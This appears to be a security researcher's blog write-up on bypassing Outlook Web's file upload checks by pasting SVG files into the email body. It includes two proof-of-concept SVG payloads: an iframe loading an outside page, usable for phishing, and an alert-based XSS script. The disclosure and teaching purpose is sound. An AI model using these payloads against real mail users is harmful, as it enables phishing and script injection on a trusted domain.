Introduction
During my security research on Outlook Web, I encountered an unusual behavior that led me to discover a security vulnerability. In this article, I’ll explain how I found this issue, how I analyzed it, and why it happened. This vulnerability is currently being addressed by Microsoft, but the process of discovering and analyzing it can be useful for other security researchers. The main focus of this article will be on how to bypass file upload restrictions.
How the Bug Was Discovered
Initially, I wanted to test how Outlook Web handles different types of files. So, I created a test.svg file and attached it to an email in two different ways:
· When I uploaded the SVG file as an attachment, Microsoft made it available for download.
· However, in some cases, uploading this type of file was blocked.
2. Second Method: Copy/Pasting (Ctrl+C, Ctrl+V) the File into the Email Body
Press enter or click to view image in full size
This difference in behavior seemed unusual to me and worth a deeper investigation.
Technical Analysis: Why Was This Happening?
Press enter or click to view image in full size
This means that Microsoft only applies security restrictions to attached files, but does not perform the same checks on pasted content.
What is contentEditable and How Does It Work?
contentEditable is an attribute in HTML that allows any HTML element to be directly edited by the user, similar to a text editor.
Press enter or click to view image in full size
What Happens in the Browser When You Press Ctrl+C and Ctrl+V?
Step 1: Copying (Ctrl+C)
When you select a file (e.g., test.svg) from your computer and press Ctrl+C, the following happens:
2. The Clipboard API holds the information
Step 2: Pasting (Ctrl+V) into Outlook Web
When you press Ctrl+V inside the email body, several important things happen:
Scenario 1: Pasting into a contentEditable field (Outlook Web)
Since Outlook Web uses contentEditable, the browser inspects the copied data:
This is what allows any malicious code inside the SVG to be executed!
2. How Could This Behavior Be Exploited?
By leveraging this unexpected behavior, I was able to embed code in an SVG file that enabled several types of attacks. I’ll show you two examples:
a) iframe Inside the SVG
One limitation was that it wouldn’t load addresses using an IP or HTTP, so I had to purchase a domain and host a fake test page at:
https://yamikaza.com/fake.html
Here’s the embedded SVG code:
<svg width="100vw" height="100vh">
<foreignObject width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml" style="margin: 0; height: 100%;">
<iframe src="https://yamikaza.com/fake.html" width="100%" height="100%" style="border: none;"></iframe>
</body>
</foreignObject>
</svg>
This code caused a fake page to load within the domain attachment.outlook.live.net, which could appear to users as an official Microsoft page.
Press enter or click to view image in full size
Press enter or click to view image in full size
b) Executing JavaScript (XSS) in SVG
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
<script type="text/javascript">
alert(origin);
</script>
</svg>
This code demonstrated that it was possible to execute JavaScript on the domain attachment.outlook.live.net.
Although this domain did not have access to the cookies of outlook.live.com, it was still possible to run JavaScript code within this subdomain.
Press enter or click to view image in full size
How Did I Test This Attack?
Conclusion
This research demonstrated how the difference between uploading a file and pasting content can lead to a security vulnerability. Security researchers should always investigate unexpected behaviors, as even the smallest discrepancies can result in major security issues.